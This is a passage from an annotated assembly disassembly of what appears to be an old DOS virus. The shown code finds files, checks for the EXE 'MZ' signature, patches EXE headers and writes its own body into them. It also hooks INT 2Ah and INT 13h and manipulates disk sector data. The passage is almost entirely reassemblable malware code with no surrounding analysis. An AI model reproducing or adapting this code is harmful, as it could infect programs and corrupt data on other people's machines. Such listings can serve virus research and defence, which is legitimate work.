  558. 03B2  8F 04                                pop     word ptr [si]
  559. 03B4  07                                   pop     es
  560. 03B5  1F                                   pop     ds
  561. 03B6  5F                                   pop     di
  562. 03B7  5E                                   pop     si
  563. 03B8  5A                                   pop     dx
  564. 03B9  59                                   pop     cx
  565. 03BA  5B                                   pop     bx
  566. 03BB  58                                   pop     ax
  567. 03BC  9D                                   popf                            ; Pop flags
  568. 03BD  EA 0BCD:20B4                         jmp     far ptr loc_2
  569. 03C2                       loc_39:
  570. 03C2  B4 2F                                mov     ah,2Fh                  ; '/'
  571. 03C4  CD 21                                int     21h                     ; DOS Services  ah=function 2Fh
  572.                                                                                 ;  get DTA ptr into es:bx
  573. 03C6  06                                   push    es
  574. 03C7  53                                   push    bx
  575. 03C8  BA 070A                              mov     dx,70Ah
  576. 03CB  B4 1A                                mov     ah,1Ah
  577. 03CD  CD 21                                int     21h                     ; DOS Services  ah=function 1Ah
  578.                                                                                 ;  set DTA to ds:dx
  579. 03CF  B9 0006                              mov     cx,6
  580. 03D2  BA 06BA                              mov     dx,6BAh
  581. 03D5  B4 4E                                mov     ah,4Eh                  ; 'N'
  582. 03D7  CD 21                                int     21h                     ; DOS Services  ah=function 4Eh
  583.                                                                                 ;  find 1st filenam match @ds:dx
  584. 03D9  72 10                                jc      loc_41                  ; Jump if carry Set
  585. 03DB                       loc_40:
  586. 03DB  A0 0720                              mov     al,byte ptr ds:[720h]   ; (0720=0F8h)
  587. 03DE  24 1F                                and     al,1Fh
  588. 03E0  3C 1E                                cmp     al,1Eh
  589. 03E2  F8                                   clc                             ; Clear carry flag
  590. 03E3  75 06                                jnz     loc_41                  ; Jump if not zero
  591. 03E5  B4 4F                                mov     ah,4Fh                  ; 'O'
  592. 03E7  CD 21                                int     21h                     ; DOS Services  ah=function 4Fh
  593.                                                                                 ;  find next filename match
  594. 03E9  73 F0                                jnc     loc_40                  ; Jump if carry=0
  595. 03EB                       loc_41:
  596. 03EB  5A                                   pop     dx
  597. 03EC  1F                                   pop     ds
  598. 03ED  9C                                   pushf                           ; Push flags
  599. 03EE  B4 1A                                mov     ah,1Ah
  600. 03F0  CD 21                                int     21h                     ; DOS Services  ah=function 1Ah
  601.                                                                                 ;  set DTA to ds:dx
  602. 03F2  9D                                   popf                            ; Pop flags
  603. 03F3  72 AC                                jc      loc_38                  ; Jump if carry Set
  604. 03F5  0E                                   push    cs
  605. 03F6  1F                                   pop     ds
  606. 03F7  0E                                   push    cs
  607. 03F8  07                                   pop     es
  608. 03F9  BE 0728                              mov     si,728h
  609. 03FC  41                                   inc     cx
  610. 03FD  F3/ A5                               rep     movsw                   ; Rep when cx >0 Mov [si] to es:[di]
  611. 03FF  BA 06BA                              mov     dx,6BAh
  612. 0402  B8 3D00                              mov     ax,3D00h
  613. 0405  CD 21                                int     21h                     ; DOS Services  ah=function 3Dh
  614.                                                                                 ;  open file, al=mode,name@ds:dx
  615. 0407  72 98                                jc      loc_38                  ; Jump if carry Set
  616. 0409  93                                   xchg    ax,bx
  617. 040A  E8 0096                              call    sub_2
  618. 040D  72 8E                                jc      loc_37                  ; Jump if carry Set
  619. 040F  83 C7 15                             add     di,15h
  620. 0412  B1 18                                mov     cl,18h
  621. 0414  B4 3F                                mov     ah,3Fh                  ; '?'
  622. 0416  CD 21                                int     21h                     ; DOS Services  ah=function 3Fh
  623.                                                                                 ;  read file, cx=bytes, to ds:dx
  624. 0418  3B C1                                cmp     ax,cx
  625. 041A                       loc_42:
  626. 041A  75 81                                jne     loc_37                  ; Jump if not equal
  627. 041C  8B F2                                mov     si,dx
  628. 041E  AD                                   lodsw                           ; String [si] to ax
  629. 041F  E8 009A                              call    sub_3
  630. 0422  75 F6                                jnz     loc_42                  ; Jump if not zero
  631. 0424  26: 80 4D F8 1F                      or      byte ptr es:[di-8],1Fh
  632. 0429  26: FE 4D F8                         dec     byte ptr es:[di-8]
  633. 042D  B1 02                                mov     cl,2
  634.  
  635. 042F                       locloop_43:
  636. 042F  92                                   xchg    ax,dx
  637. 0430  26: 8B 45 FC                         mov     ax,es:[di-4]
  638. 0434  AB                                   stosw                           ; Store ax to es:[di]
  639. 0435  E2 F8                                loop    locloop_43              ; Loop if cx > 0
  640. 0437  83 7C 0A FF                          cmp     word ptr [si+0Ah],0FFFFh
  641. 043B  75 59                                jne     loc_45                  ; Jump if not equal
  642. 043D  B1 0C                                mov     cl,0Ch
  643. 043F  D3 E0                                shl     ax,cl                   ; Shift w/zeros fill
  644. 0441  2B 44 06                             sub     ax,[si+6]
  645. 0444  87 54 12                             xchg    dx,[si+12h]
  646. 0447  87 44 14                             xchg    ax,[si+14h]
  647. 044A  89 16 013B                           mov     word ptr data_9,dx      ; (013B=0)
  648. 044E  A3 013D                              mov     data_10,ax              ; (013D=0)
  649. 0451  B8 FFF0                              mov     ax,0FFF0h
  650. 0454  87 44 0C                             xchg    ax,[si+0Ch]
  651. 0457  A3 013F                              mov     data_11,ax              ; (013F=0)
  652. 045A  B8 0100                              mov     ax,100h
  653. 045D  87 44 0E                             xchg    ax,[si+0Eh]
  654. 0460  A3 0141                              mov     data_12,ax              ; (0141=0)
  655. 0463  BA 00D2                              mov     dx,0D2h
  656. 0466  B1 84                                mov     cl,84h
  657. 0468  B4 40                                mov     ah,40h                  ; '@'
  658. 046A  CD 21                                int     21h                     ; DOS Services  ah=function 40h
  659.                                                                                 ;  write file cx=bytes, to ds:dx
  660. 046C  C133                 data_15         dw      0C133h
  661. 046E  75 26                                jnz     loc_45                  ; Jump if not zero
  662. 0470  83 EF 04                             sub     di,4
  663. 0473  AB                                   stosw                           ; Store ax to es:[di]
  664. 0474  AB                                   stosw                           ; Store ax to es:[di]
  665. 0475  26: 8B 45 F8                         mov     ax,es:[di-8]
  666. 0479  26: 8B 55 FA                         mov     dx,es:[di-6]
  667. 047D  B9 0200                              mov     cx,200h
  668. 0480  F7 F1                                div     cx                      ; ax,dx rem=dx:ax/reg
  669. 0482  85 D2                                test    dx,dx
  670. 0484  74 01                                jz      loc_44                  ; Jump if zero
  671. 0486  40                                   inc     ax
  672. 0487                       loc_44:
  673. 0487  89 14                                mov     [si],dx
  674. 0489  89 44 02                             mov     [si+2],ax
  675. 048C  B9 0018                              mov     cx,18h
  676. 048F  BA 06BA                              mov     dx,6BAh
  677. 0492  B4 40                                mov     ah,40h                  ; '@'
  678. 0494  CD 21                                int     21h                     ; DOS Services  ah=function 40h
  679.                                                                                 ;  write file cx=bytes, to ds:dx
  680. 0496                       loc_45:
  681. 0496  26: 80 65 EC BF                      and     byte ptr es:[di-14h],0BFh
  682. 049B  26: 80 4D ED 40                      or      byte ptr es:[di-13h],40h        ; '@'
  683. 04A0  E9 FEFA                              jmp     loc_37
  684.                                 sub_1           endp
  685.  
  686.  
  687.                                 ;==========================================================================
  688.                                 ;                              SUBROUTINE
  689.                                 ;==========================================================================
  690.  
  691.                                 sub_2           proc    near
  692. 04A3  B8 1220                              mov     ax,1220h
  693. 04A6  CD 2F                                int     2Fh                     ; Multiplex/Spooler al=func 20h
  694. 04A8  72 11                                jc      loc_ret_46              ; Jump if carry Set
  695. 04AA  53                                   push    bx
  696. 04AB  26: 8A 1D                            mov     bl,es:[di]
  697. 04AE  B8 1216                              mov     ax,1216h
  698. 04B1  CD 2F                                int     2Fh                     ; Multiplex/Spooler al=func 16h
  699. 04B3  5B                                   pop     bx
  700. 04B4  72 05                                jc      loc_ret_46              ; Jump if carry Set
  701. 04B6  26: C6 45 02 02                      mov     byte ptr es:[di+2],2
  702.  
  703. 04BB                       loc_ret_46:
  704. 04BB  C3                                   retn
  705.                                 sub_2           endp
  706.  
  707.  
  708.                                 ;==========================================================================
  709.                                 ;                              SUBROUTINE
  710.                                 ;==========================================================================
  711.  
  712.                                 sub_3           proc    near
  713. 04BC  3D 5A4D                              cmp     ax,5A4Dh
  714. 04BF  74 03                                je      loc_ret_47              ; Jump if equal
  715. 04C1  3D 4D5A                              cmp     ax,4D5Ah
  716.  
  717. 04C4                       loc_ret_47:
  718. 04C4  C3                                   retn
  719.                                 sub_3           endp
  720.  
  721.  
  722.                                 ;==========================================================================
  723.                                 ;                              SUBROUTINE
  724.                                 ;==========================================================================
  725.  
  726.                                 sub_4           proc    near
  727. 04C5  B4 3F                                mov     ah,3Fh                  ; '?'
  728.  
  729.                                 ;==== External Entry into Subroutine ======================================
  730.  
  731.                                 sub_5:
  732. 04C7  B9 06A8                              mov     cx,6A8h
  733.  
  734.                                 ;==== External Entry into Subroutine ======================================
  735.  
  736.                                 sub_6:
  737. 04CA  BA 070A                              mov     dx,70Ah
  738. 04CD  CD 21                                int     21h                     ; DOS Services  ah=function 3Fh
  739.                                                                                 ;  read file, cx=bytes, to ds:dx
  740. 04CF  C3                                   retn
  741.                                 sub_4           endp
  742.  
  743.  
  744.                                 ;==========================================================================
  745.                                 ;                              SUBROUTINE
  746.                                 ;==========================================================================
  747.  
  748.                                 sub_7           proc    near
  749. 04D0  8A C4                                mov     al,ah
  750.  
  751.                                 ;==== External Entry into Subroutine ======================================
  752.  
  753.                                 sub_8:
  754. 04D2  D0 E8                                shr     al,1                    ; Shift w/zeros fill
  755. 04D4  8A D0                                mov     dl,al
  756. 04D6  50                                   push    ax
  757. 04D7  14 01                                adc     al,1
  758. 04D9  3C 03                                cmp     al,3
  759. 04DB  72 02                                jb      loc_48                  ; Jump if below
  760. 04DD  2C 03                                sub     al,3
  761. 04DF                       loc_48:
  762. 04DF  0A D0                                or      dl,al
  763. 04E1  D7                                   xlat [bx]                       ; al=[al+[bx]] table
  764. 04E2  88 04                                mov     [si],al
  765. 04E4  46                                   inc     si
  766. 04E5  58                                   pop     ax
  767. 04E6  D7                                   xlat [bx]                       ; al=[al+[bx]] table
  768. 04E7  88 04                                mov     [si],al
  769. 04E9  46                                   inc     si
  770. 04EA  8A C2                                mov     al,dl
  771. 04EC  34 03                                xor     al,3
  772. 04EE  D7                                   xlat [bx]                       ; al=[al+[bx]] table
  773. 04EF  C3                                   retn
  774.                                 sub_7           endp
  775.  
  776.  
  777.                                 ;==========================================================================
  778.                                 ;                              SUBROUTINE
  779.                                 ;==========================================================================
  780.  
  781.                                 sub_9           proc    near
  782. 04F0  D1 EA                                shr     dx,1                    ; Shift w/zeros fill
  783. 04F2  B0 79                                mov     al,79h                  ; 'y'
  784. 04F4  73 02                                jnc     loc_ret_49              ; Jump if carry=0
  785. 04F6  0C 04                                or      al,4
  786.  
  787. 04F8                       loc_ret_49:
  788. 04F8  C3                                   retn
  789.                                 sub_9           endp
  790.  
  791. 04F9  00 04                                add     [si],al
  792. 04FB  00 00                                add     [bx+si],al
  793. 04FD  04 00                                add     al,0
  794. 04FF  26: 00 2C                            add     es:[si],ch
  795. 0502  00 09                                add     [bx+di],cl
  796. 0504  02 00                                add     al,[bx+si]
  797. 0506  00 02                                add     [bp+si],al
  798. 0508  00 0E 0400                           add     byte ptr ds:[400h],cl   ; (0400=0BAh)
  799. 050C  04 02                                add     al,2
  800. 050E  00 00                                add     [bx+si],al
  801. 0510  03 00                                add     ax,[bx+si]
  802. 0512  0F                                   db      0Fh
  803. 0513  00 05                                add     [di],al
  804. 0515  05 0003                              add     ax,3
  805. 0518  00 00                                add     [bx+si],al
  806. 051A  04 00                                add     al,0
  807. 051C  01 00                                add     [bx+si],ax
  808. 051E  01 02                                add     [bp+si],ax
  809. 0520  03 06 0707                           add     ax,word ptr ds:[707h]   ; (0707=0)
  810. 0524  04 05                                add     al,5
  811.  
  812.                                 ;==========================================================================
  813.                                 ;                              SUBROUTINE
  814.                                 ;               INT     2A
  815.                                 ;==========================================================================
  816. 0526  56                                   push    si
  817. 0527  57                                   push    di
  818. 0528  55                                   push    bp
  819. 0529  1E                                   push    ds
  820. 052A  06                                   push    es
  821. 052B  8B EC                                mov     bp,sp
  822. 052D  80 FC 82                             cmp     ah,82h
  823. 0530  75 60                                jne     loc_53                  ; Jump if not equal
  824. 0532  8C D8                                mov     ax,ds
  825. 0534  3B 46 0C                             cmp     ax,[bp+0Ch]
  826. 0537  75 59                                jne     loc_53                  ; Jump if not equal
  827. 0539  8B 76 0A                             mov     si,[bp+0Ah]
  828. 053C  AC                                   lodsb                           ; String [si] to al
  829. 053D  3C CC                                cmp     al,0CCh
  830. 053F  74 51                                je      loc_53                  ; Jump if equal
  831. 0541  B8 1218                              mov     ax,1218h
  832. 0544  CD 2F                                int     2Fh                     ; Multiplex/Spooler al=func 18h
  833. 0546  C4 7C 12                             les     di,dword ptr [si+12h]   ; Load 32 bit ptr
  834. 0549  26: 80 3D CC                         cmp     byte ptr es:[di],0CCh
  835. 054D  74 43                                je      loc_53                  ; Jump if equal
  836. 054F  8C C8                                mov     ax,cs
  837. 0551  3B 44 14                             cmp     ax,[si+14h]
  838. 0554  74 3C                                je      loc_53                  ; Jump if equal
  839. 0556  AD                                   lodsw                           ; String [si] to ax
  840. 0557  80 EC 3D                             sub     ah,3Dh                  ; '='
  841. 055A  74 1C                                jz      loc_51                  ; Jump if zero
  842. 055C  FE CC                                dec     ah
  843. 055E  74 16                                jz      loc_50                  ; Jump if zero
  844. 0560  2D 0D00                              sub     ax,0D00h
  845. 0563  75 2D                                jnz     loc_53                  ; Jump if not zero
  846. 0565  26: 81 7D FE 21CD                    cmp     word ptr es:[di-2],21CDh
  847. 056B  75 25                                jne     loc_53                  ; Jump if not equal
  848. 056D  40                                   inc     ax
  849. 056E  2E: 30 06 00C5                       xor     byte ptr cs:[0C5h],al   ; (00C5=1)
  850. 0573  75 1D                                jnz     loc_53                  ; Jump if not zero
  851. 0575  F9                                   stc                             ; Set carry flag
  852. 0576                       loc_50:
  853. 0576  B3 30                                mov     bl,30h                  ; '0'
  854. 0578                       loc_51:
  855. 0578  0E                                   push    cs
  856. 0579  07                                   pop     es
  857. 057A  BF 03BE                              mov     di,3BEh
  858. 057D  B8 0156                              mov     ax,156h
  859. 0580  87 44 10                             xchg    ax,[si+10h]
  860. 0583  73 02                                jnc     loc_52                  ; Jump if carry=0
  861. 0585  48                                   dec     ax
  862. 0586  48                                   dec     ax
  863. 0587                       loc_52:
  864. 0587  AB                                   stosw                           ; Store ax to es:[di]
  865. 0588  8C C8                                mov     ax,cs
  866. 058A  87 44 12                             xchg    ax,[si+12h]
  867. 058D  AB                                   stosw                           ; Store ax to es:[di]
  868. 058E  80 64 14 FE                          and     byte ptr [si+14h],0FEh
  869. 0592                       loc_53:
  870. 0592  07                                   pop     es
  871. 0593  1F                                   pop     ds
  872. 0594  5D                                   pop     bp
  873. 0595  5F                                   pop     di
  874. 0596  5E                                   pop     si
  875.  
  876.                                 ;==========================================================================
  877.                                 ;                              SUBROUTINE
  878.                                 ;               INT     2A
  879.                                 ;==========================================================================
  880. 0597  B0 03                                mov     al,3
  881. 0599  CF                                   iret                            ; Interrupt return
  882.  
  883.  
  884. 059A  2E: 80 3E 06B3 00                    cmp     byte ptr cs:[6B3h],0    ; (06B3=0)
  885. 05A0  74 12                                je      loc_55                  ; Jump if equal
  886. 05A2  41                                   inc     cx
  887. 05A3  75 0E                                jnz     loc_54                  ; Jump if not zero
  888. 05A5  32 E4                                xor     ah,ah                   ; Zero register
  889. 05A7  2E: 86 26 06B3                       xchg    ah,byte ptr cs:[6B3h]   ; (06B3=0)
  890. 05AC  F5                                   cmc                             ; Complement carry
  891. 05AD  2E: 8B 0E 06B8                       mov     cx,word ptr cs:[6B8h]   ; (06B8=6)
  892. 05B2  41                                   inc     cx
  893. 05B3                       loc_54:
  894. 05B3  49                                   dec     cx
  895. 05B4                       loc_55:
  896. 05B4  9C                                   pushf                           ; Push flags
  897. 05B5  50                                   push    ax
  898. 05B6  9C                                   pushf                           ; Push flags
  899. 05B7  0E                                   push    cs
  900. 05B8  E8 00EF                              call    $+0F2h
  901. 05BB  73 07                                jnc     loc_56                  ; Jump if carry=0
  902. 05BD  83 C4 04                             add     sp,4
  903. 05C0  F9                                   stc                             ; Set carry flag
  904. 05C1  E9 00C8                              jmp     loc_70
  905. 05C4                       loc_56:
  906. 05C4  58                                   pop     ax
  907. 05C5  80 EC 02                             sub     ah,2
  908. 05C8  80 FC 02                             cmp     ah,2
  909. 05CB  73 79                                jae     loc_65                  ; Jump if above or =
  910. 05CD  53                                   push    bx
  911. 05CE  51                                   push    cx
  912. 05CF  56                                   push    si
  913. 05D0  1E                                   push    ds
  914. 05D1                       loc_57:
  915. 05D1  50                                   push    ax
  916. 05D2  53                                   push    bx
  917. 05D3  51                                   push    cx
  918. 05D4  52                                   push    dx
  919. 05D5  33 D2                                xor     dx,dx                   ; Zero register
  920. 05D7  8E DA                                mov     ds,dx
  921. 05D9  B9 0100                              mov     cx,100h
  922. 05DC  8B F3                                mov     si,bx
  923. 05DE  56                                   push    si
  924.  
  925. 05DF                       locloop_58:
  926. 05DF  26: AD                               lods word ptr es:[si]           ; String [si] to ax
  927. 05E1  48                                   dec     ax
  928. 05E2  3D FFF5                              cmp     ax,0FFF5h
  929. 05E5  73 09                                jae     loc_60                  ; Jump if above or =
  930. 05E7  3B C3                                cmp     ax,bx
  931. 05E9  75 02                                jne     loc_59                  ; Jump if not equal
  932. 05EB  FE C6                                inc     dh
  933. 05ED                       loc_59:
  934. 05ED  93                                   xchg    ax,bx
  935. 05EE  42                                   inc     dx
  936. 05EF  43                                   inc     bx
  937. 05F0                       loc_60:
  938. 05F0  E2 ED                                loop    locloop_58              ; Loop if cx > 0
  939.  
  940. 05F2  5E                                   pop     si
  941. 05F3  D0 EA                                shr     dl,1                    ; Shift w/zeros fill
  942. 05F5  F8                                   clc                             ; Clear carry flag
  943. 05F6  74 36                                jz      loc_62                  ; Jump if zero
  944. 05F8  3A D6                                cmp     dl,dh
  945. 05FA  73 32                                jae     loc_62                  ; Jump if above or =
  946. 05FC  0E                                   push    cs
  947. 05FD  1F                                   pop     ds
  948. 05FE  F8                                   clc                             ; Clear carry flag
  949. 05FF  BB 06B4                              mov     bx,6B4h
  950. 0602  FF 07                                inc     word ptr [bx]
  951. 0604  75 28                                jnz     loc_62                  ; Jump if not zero
  952. 0606  FF 47 9C                             inc     word ptr [bx-64h]
  953. 0609  8A 47 FD                             mov     al,[bx-3]
  954. 060C  04 F8                                add     al,0F8h
  955. 060E  73 02                                jnc     loc_61                  ; Jump if carry=0
  956. 0610  B0 FF                                mov     al,0FFh
  957. 0612                       loc_61:
  958. 0612  88 47 01                             mov     [bx+1],al
  959. 0615  A1 046C                              mov     ax,data_15              ; (046C=0C133h)
  960. 0618  33 DB                                xor     bx,bx                   ; Zero register
  961. 061A  86 DC                                xchg    bl,ah
  962. 061C  03 DB                                add     bx,bx
  963. 061E  03 DE                                add     bx,si
  964. 0620  03 C0                                add     ax,ax
  965. 0622  03 F0                                add     si,ax
  966. 0624  26: 8B 07                            mov     ax,es:[bx]
  967. 0627  26: 87 04                            xchg    ax,es:[si]
  968. 062A  26: 89 07                            mov     es:[bx],ax
  969. 062D  F9                                   stc                             ; Set carry flag
  970. 062E                       loc_62:
  971. 062E  5A                                   pop     dx
  972. 062F  59                                   pop     cx
  973. 0630  5B                                   pop     bx
  974. 0631  73 08                                jnc     loc_63                  ; Jump if carry=0
  975. 0633  B8 0301                              mov     ax,301h
  976. 0636  9C                                   pushf                           ; Push flags
  977. 0637  0E                                   push    cs
  978. 0638  E8 006F                              call    $+72h
  979. 063B                       loc_63:
  980. 063B  58                                   pop     ax
  981. 063C  72 04                                jc      loc_64                  ; Jump if carry Set
  982. 063E  FE C8                                dec     al
  983. 0640  75 8F                                jnz     loc_57                  ; Jump if not zero
  984. 0642                       loc_64:
  985. 0642  1F                                   pop     ds
  986. 0643  5E                                   pop     si
  987. 0644  59                                   pop     cx
  988. 0645  5B                                   pop     bx
  989. 0646                       loc_65:
  990. 0646  58                                   pop     ax
  991. 0647  D1 E8                                shr     ax,1                    ; Shift w/zeros fill
  992. 0649  73 3F                                jnc     loc_69                  ; Jump if carry=0
  993. 064B  B8 0100                              mov     ax,100h
  994. 064E  EB 3C                                jmp     short loc_70
  995. 0650  00 00                                add     [bx+si],al
  996. 0652                       loc_66:
  997. 0652  2E: FF 36 06AF                       push    word ptr cs:[6AFh]      ; (06AF=0F086h)
  998. 0657  9D                                   popf                            ; Pop flags
  999. 0658  74 50                                jz      $+52h                   ; Jump if zero
  1000. 065A  2E: 88 26 06B3                       mov     byte ptr cs:[6B3h],ah   ; (06B3=0)
  1001. 065F  2E: 89 0E 06B8                       mov     word ptr cs:[6B8h],cx   ; (06B8=6)
  1002. 0664  2E: 3A 26 06B6                       cmp     ah,byte ptr cs:[6B6h]   ; (06B6=3)
  1003. 0669  75 03                                jne     loc_67                  ; Jump if not equal
  1004. 066B  80 F4 01                             xor     ah,1
  1005. 066E                       loc_67:
  1006. 066E  51                                   push    cx
  1007. 066F  B9 FFFF                              mov     cx,0FFFFh
  1008. 0672  9C                                   pushf                           ; Push flags
  1009. 0673  0E                                   push    cs
  1010. 0674  E8 002E                              call    sub_10
  1011. 0677  59                                   pop     cx
  1012. 0678  9C                                   pushf                           ; Push flags
  1013. 0679  2E: 80 3E 06B3 00                    cmp     byte ptr cs:[6B3h],0    ; (06B3=0)
  1014. 067F                       loc_68:
  1015. 067F  75 FE                                jne     loc_68                  ; Jump if not equal
  1016. 0681  9D                                   popf                            ; Pop flags
  1017. 0682  73 08                                jnc     loc_70                  ; Jump if carry=0
  1018. 0684  80 FC 01                             cmp     ah,1
  1019. 0687  F9                                   stc                             ; Set carry flag
  1020. 0688  75 02                                jnz     loc_70                  ; Jump if not zero
  1021. 068A                       loc_69:
  1022. 068A  33 C0                                xor     ax,ax                   ; Zero register
  1023. 068C                       loc_70:
  1024. 068C  FB                                   sti                             ; Enable interrupts
  1025. 068D  CA 0002                              retf    2                       ; Return far
  1026.  
  1027.                                 ;==========================================================================
  1028.                                 ;                              SUBROUTINE
  1029.                                 ;               INT     13h
  1030.                                 ;==========================================================================
  1031.  
  1032. 0690  2E: 3A 26 06B7                       cmp     ah,byte ptr cs:[6B7h]   ; (06B7=4)
  1033. 0695  74 F3                                je      loc_69                  ; Jump if equal
  1034. 0697  84 E4                                test    ah,ah
  1035. 0699  74 EF                                jz      loc_69                  ; Jump if zero
  1036. 069B  80 FC 01                             cmp     ah,1
  1037. 069E  74 05                                je      loc_71                  ; Jump if equal
  1038. 06A0  80 FC 05                             cmp     ah,5
  1039. 06A3  72 AD                                jb      loc_66                  ; Jump if below
  1040.  
  1041.                                 sub_10          proc    near
  1042. 06A5                       loc_71:
  1043. 06A5  EA 0070:1001                         jmp     far ptr loc_1           ; ORG INT 13
  1044.                                 sub_10          endp
  1045.  
  1046.  
  1047.  
  1048.  
  1049.  
  1050.  
  1051.  
  1052.